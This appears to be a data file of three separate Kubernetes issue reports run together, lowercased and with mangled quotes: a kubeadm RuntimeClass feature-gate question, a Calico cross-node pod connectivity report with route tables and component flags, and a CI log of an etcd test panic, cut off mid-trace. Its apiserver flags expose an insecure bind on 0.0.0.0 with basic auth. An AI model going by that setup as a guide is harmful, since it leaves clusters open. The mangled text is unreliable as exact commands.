trying to use runtimeclass feature in v1.13.0 but i am getting  unrecognized feature-gate key: runtimeclass \r \r what i did:\r  kubeadm init --feature-gates=runtimeclass=true \r \r also when i do \r  kubeadm init --help  it doesn’t show feature-gates options. is that expected?\r \r   environment  :\r - kubernetes version: v1.13.0\r - docker version: 18.09.0\r - os: ubuntu 18.04\r - kernel: 4.15.0-42-generic\r \r <!-- do not edit below this line -->\r 

what happened:\r \r can't connect to pod in other nodes\r \r kubenetes version\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t17:05:32z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-27t16:55:41z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r os \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r cloud provider: azure\r \r kernel:\r    \r linux ueaz-fe-pre-node-001 3.10.0-957.10.1.el7.x86_64  1 smp mon mar 18 15:06:45 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r \r \r network plugin and version:\r    \r calicoctl version\r \r \r client version:    v3.1.3\r build date:        2018-05-30t17:15:59+0000\r git commit:        231083c2\r no etcd endpoints specified\r    \r \r ip route:\r    \r ip r\r \r default via 172.28.240.1 dev eth0\r 168.63.129.16 via 172.28.240.1 dev eth0 proto static\r 169.254.0.0/16 dev eth0 scope link metric 1002\r 169.254.169.254 via 172.28.240.1 dev eth0 proto static\r 172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1\r 172.28.240.0/20 dev eth0 proto kernel scope link src 172.28.240.61\r 172.40.21.0/26 via 172.28.240.64 dev tunl0 proto bird onlink\r blackhole 172.40.76.128/26 proto bird\r 172.40.76.130 dev calid63a5acfef0 scope link\r 172.40.76.131 dev calia2d1aff87cd scope link\r 172.40.76.132 dev cali21c22a417eb scope link\r 172.40.76.134 dev cali291678345d8 scope link\r 172.40.142.192/26 via 172.28.240.63 dev tunl0 proto bird onlink\r    \r   !!! without 172.40.0.0/16  \r \r kube-api config\r    \r /opt/kube/bin/kube-apiserver --enable-admission-plugins=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota --bind-address=0.0.0.0 --insecure-bind-address=0.0.0.0 --authorization-mode=node,rbac --kubelet-https=true --kubelet-client-certificate=/etc/kubernetes/ssl/admin.pem --kubelet-client-key=/etc/kubernetes/ssl/admin-key.pem --anonymous-auth=false --service-cluster-ip-range=172.41.0.0/16 --service-node-port-range=20000-40000 --tls-cert-file=/etc/kubernetes/ssl/kubernetes.pem --tls-private-key-file=/etc/kubernetes/ssl/kubernetes-key.pem --client-ca-file=/etc/kubernetes/ssl/ca.pem --service-account-key-file=/etc/kubernetes/ssl/ca-key.pem --etcd-cafile=/etc/kubernetes/ssl/ca.pem --etcd-certfile=/etc/kubernetes/ssl/kubernetes.pem --etcd-keyfile=/etc/kubernetes/ssl/kubernetes-key.pem --etcd-servers=https://172.28.240.65:2379,https://172.28.240.66:2379,https://172.28.240.69:2379 --enable-swagger-ui=true --endpoint-reconciler-type=lease --allow-privileged=true --audit-log-maxage=30 --audit-log-maxbackup=3 --audit-log-maxsize=100 --audit-log-path=/var/lib/audit.log --event-ttl=1h --requestheader-client-ca-file=/etc/kubernetes/ssl/ca.pem --requestheader-allowed-names= --requestheader-extra-headers-prefix=x-remote-extra- --requestheader-group-headers=x-remote-group --requestheader-username-headers=x-remote-user --proxy-client-cert-file=/etc/kubernetes/ssl/aggregator-proxy.pem --proxy-client-key-file=/etc/kubernetes/ssl/aggregator-proxy-key.pem --enable-aggregator-routing=true --runtime-config=batch/v2alpha1=true --basic-auth-file=/etc/kubernetes/ssl/basic-auth.csv --v=2\r    \r \r kubelet config\r    \r /opt/kube/bin/kubelet --address=172.28.240.63 --allow-privileged=true --anonymous-auth=false --authentication-token-webhook --authorization-mode=webhook --client-ca-file=/etc/kubernetes/ssl/ca.pem --cluster-dns=172.41.0.2 --cluster-domain=tuya.local. --cni-bin-dir=/opt/kube/bin --cni-conf-dir=/etc/cni/net.d --fail-swap-on=false --hairpin-mode hairpin-veth --hostname-override=ueaz-fe-k8s-001 --kubeconfig=/etc/kubernetes/kubelet.kubeconfig --network-plugin=cni --pod-infra-container-image=mirrorgooglecontainers/pause-amd64:3.1 --register-node=true --root-dir=/var/lib/kubelet --tls-cert-file=/etc/kubernetes/ssl/kubelet.pem --tls-private-key-file=/etc/kubernetes/ssl/kubelet-key.pem --kube-reserved=cpu=100m,memory=250mi --system-reserved=cpu=30m,memory=150mi --v=2\r    \r \r kube-proxy config\r    \r /opt/kube/bin/kube-proxy --bind-address=172.28.240.63 --hostname-override=ueaz-fe-k8s-001 --cluster-cidr=172.40.0.0/16 --kubeconfig=/etc/kubernetes/kube-proxy.kubeconfig --logtostderr=true --v=4\r    \r \r kubectl get cs\r    \r controller-manager   healthy   ok\r scheduler            healthy   ok\r etcd-1               healthy   {\ health\ :\ true\ }\r etcd-2               healthy   {\ health\ :\ true\ }\r etcd-0               healthy   {\ health\ :\ true\ }\r

22:35:40  step 3/3  i0225 03:35:29.284204    3472 trace.go:57  trace \ etcdhelper::create  api.pod\   started 2016-02-25 03:35:29.033794786 +0000 utc :  22:35:40  step 3/3   137.115µs   137.115µs  object encoded  22:35:40  step 3/3   144.189µs   7.074µs  version checked  22:35:40  step 3/3   250.152541ms   250.008352ms  object created  22:35:40  step 3/3   250.334113ms   181.572µs  end  22:35:40  step 3/3  i0225 03:35:29.563954    3472 trace.go:57  trace \ etcdhelper::create  api.pod\   started 2016-02-25 03:35:29.284344412 +0000 utc :  22:35:40  step 3/3   111.132µs   111.132µs  object encoded  22:35:40  step 3/3   116.652µs   5.52µs  version checked  22:35:40  step 3/3   279.353823ms   279.237171ms  object created  22:35:40  step 3/3   279.556984ms   203.161µs  end  22:35:40  step 3/3  --- fail: testresourcelocation  6.78s   22:35:40  step 3/3     utils.go:184: unexpected error in waituntilup  timeout on waiting for etcd cluster   22:35:40  step 3/3  panic: runtime error: invalid memory address or nil pointer dereference  recovered   22:35:40  step 3/3     panic: runtime error: invalid memory address or nil pointer dereference  22:35:40  step 3/3   signal 0xb code=0x1 addr=0x0 pc=0x6f43a3   22:35:40  step 3/3    22:35:40  step 3/3  goroutine 282  running :  22:35:40  step 3/3  testing.func·006    22:35:40  step 3/3     /usr/src/go/src/testing/testing.go:441 +0x181  22:35:40  step 3/3  k8s.io/kubernetes/pkg/registry/registrytest.newetcdstorage 0xc2087afcb0, 0x0, 0x0, 0x0, 0x0, 0xc208725418   22:35:40  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/registrytest/etcd.go:40 +0x173  22:35:40  step 3/3  k8s.io/kubernetes/pkg/registry/pod/etcd.newstorage 0xc2087afcb0, 0xc208790fc0, 0xc208794ef0, 0x7, 0x1   22:35:40  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/pod/etcd/etcd_test.go:39 +0x4a  22:35:40  step 3/3  k8s.io/kubernetes/pkg/registry/pod/etcd.testresourcelocation 0xc2087afcb0   22:35:40  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/registry/pod/etcd/etcd_test.go:249 +0xbc7  22:35:40  step 3/3  testing.trunner 0xc2087afcb0, 0x2010b60   22:35:40  step 3/3     /usr/src/go/src/testing/testing.go:447 +0xbf  22:35:40  step 3/3  created by testing.runtests  22:35:40  step 3/3     /usr/src/go/src/testing/testing.go:555 +0xa8b  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 1  chan receive :  22:35:40  step 3/3  testing.runtests 0x19317e8, 0x2010b00, 0x12, 0x12, 0x409a01   22:35:40  step 3/3     /usr/src/go/src/testing/testing.go:556 +0xad6  22:35:40  step 3/3  testing.  m .run 0xc2081039a0, 0x203ece0   22:35:40  step 3/3     /usr/src/go/src/testing/testing.go:485 +0x6c  22:35:40  step 3/3  main.main    22:35:40  step 3/3     k8s.io/kubernetes/pkg/registry/pod/etcd/_test/_testmain.go:86 +0x1d5  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 17  syscall, locked to thread :  22:35:40  step 3/3  runtime.goexit    22:35:40  step 3/3     /usr/src/go/src/runtime/asm_amd64.s:2232 +0x1  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 5  chan receive :  22:35:40  step 3/3  github.com/golang/glog.  loggingt .flushdaemon 0x20331c0   22:35:40  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:879 +0x78  22:35:40  step 3/3  created by github.com/golang/glog.init·1  22:35:40  step 3/3     /go/src/github.com/googlecloudplatform/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:410 +0x2a7  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 164  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2081920d0, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2081920d0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc208192070, 0x0, 0x7f6bcc1e1188, 0xc208404038   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208596540, 0x7f6bcc1ec4b8, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208596540, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc20842ab40, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc2083cae40, 0x7f6bcc1ebc50, 0xc20842ab40, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 354  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc208071720, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc208071720, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2080716c0, 0x0, 0x7f6bcc1e1188, 0xc2086fc018   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208597030, 0x9e9d19, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208597030, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc208430150, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc208700540, 0x7f6bcc1ebc50, 0xc208430150, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 101  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2081d6990, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2081d6990, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2081d6930, 0x0, 0x7f6bcc1e1188, 0xc208427608   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208031d60, 0x9e9d19, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208031d60, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc208431260, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc20839c120, 0x7f6bcc1ebc50, 0xc208431260, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 259  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2087b20d0, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2087b20d0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2087b2070, 0x0, 0x7f6bcc1e1188, 0xc2087a61f8   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208597b70, 0x9e9d19, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208597b70, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc2087a58f0, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc2087aafc0, 0x7f6bcc1ebc50, 0xc2087a58f0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 289  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2081d6450, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2081d6450, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2081d63f0, 0x0, 0x7f6bcc1e1188, 0xc208781a58   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc2085963e0, 0x9e9d19, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc2085963e0, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc20876df80, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc208783b60, 0x7f6bcc1ebc50, 0xc20876df80, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 53  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc208172d10, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc208172d10, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc208172cb0, 0x0, 0x7f6bcc1e1188, 0xc2081a3088   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208030628, 0xc20804e680, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208030628, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc2081bf740, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc20820e9c0, 0x7f6bcc1ebc50, 0xc2081bf740, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 157  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2081d7e90, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2081d7e90, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2081d7e30, 0x0, 0x7f6bcc1e1188, 0xc208427588   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208596538, 0x9e9d19, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208596538, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc2084319b0, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc2083ca600, 0x7f6bcc1ebc50, 0xc2084319b0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 60  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc208172e60, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc208172e60, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc208172e00, 0x0, 0x7f6bcc1e1188, 0xc2081a38a0   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208030630, 0x7f6bcc1ec4b8, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208030630, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc20825c360, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc20820f140, 0x7f6bcc1ebc50, 0xc20825c360, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 108  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2081d6ae0, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2081d6ae0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2081d6a80, 0x0, 0x7f6bcc1e1188, 0xc208427ed8   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208031d68, 0x7f6bcc1ec4b8, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208031d68, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc20857e300, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc20839c8a0, 0x7f6bcc1ebc50, 0xc20857e300, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 266  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2087b2220, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2087b2220, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2087b21c0, 0x0, 0x7f6bcc1e1188, 0xc2087a6b48   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208597b78, 0x7f6bcc1ec4b8, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208597b78, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc2087a4d80, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc2087ab020, 0x7f6bcc1ebc50, 0xc2087a4d80, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 296  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2081d65a0, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2081d65a0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc2081d6540, 0x0, 0x7f6bcc1e1188, 0xc208762430   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc2085963e8, 0x7f6bcc1ec4b8, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc2085963e8, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc20874b050, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc2087663c0, 0x7f6bcc1ebc50, 0xc20874b050, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 361  io wait :  22:35:40  step 3/3  net.  polldesc .wait 0xc2080718e0, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2080718e0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .accept 0xc208071880, 0x0, 0x7f6bcc1e1188, 0xc2086fc968   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:419 +0x40b  22:35:40  step 3/3  net.  tcplistener .accepttcp 0xc208597038, 0x7f6bcc1ec4b8, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e  22:35:40  step 3/3  net.  tcplistener .accept 0xc208597038, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/tcpsock_posix.go:244 +0x4c  22:35:40  step 3/3  net/http/httptest.  historylistener .accept 0xc208431c20, 0x0, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:48 +0x7a  22:35:40  step 3/3  net/http.  server .serve 0xc208700d80, 0x7f6bcc1ebc50, 0xc208431c20, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:1728 +0x92  22:35:40  step 3/3  created by net/http/httptest.  server .start  22:35:40  step 3/3     /usr/src/go/src/net/http/httptest/server.go:109 +0x35e  22:35:40  step 3/3    22:35:40  step 3/3  goroutine 364  runnable :  22:35:40  step 3/3  net.  polldesc .wait 0xc2083fa840, 0x72, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47  22:35:40  step 3/3  net.  polldesc .waitread 0xc2083fa840, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43  22:35:40  step 3/3  net.  netfd .read 0xc2083fa7e0, 0xc2083b4000, 0x1000, 0x1000, 0x0, 0x7f6bcc1e1188, 0xc208404d68   22:35:40  step 3/3     /usr/src/go/src/net/fd_unix.go:242 +0x40f  22:35:40  step 3/3  net.  conn .read 0xc208597230, 0xc2083b4000, 0x1000, 0x1000, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/net.go:121 +0xdc  22:35:40  step 3/3  net/http.  liveswitchreader .read 0xc208187768, 0xc2083b4000, 0x1000, 0x1000, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/net/http/server.go:214 +0xab  22:35:40  step 3/3  io.  limitedreader .read 0xc208727120, 0xc2083b4000, 0x1000, 0x1000, 0x0, 0x0, 0x0   22:35:40  step 3/3     /usr/src/go/src/io/io.go:408 +0xce  22:35:40  step 3/3  bufio.  reader .fill 0xc2087ab4a0   22:35:40  step 3/3     /usr/src/go/src/bufio/bufio.go:97 +0x1ce  22:35:40  step 3/3  bufio.  reader .readslice 0xc2087ab4a0, 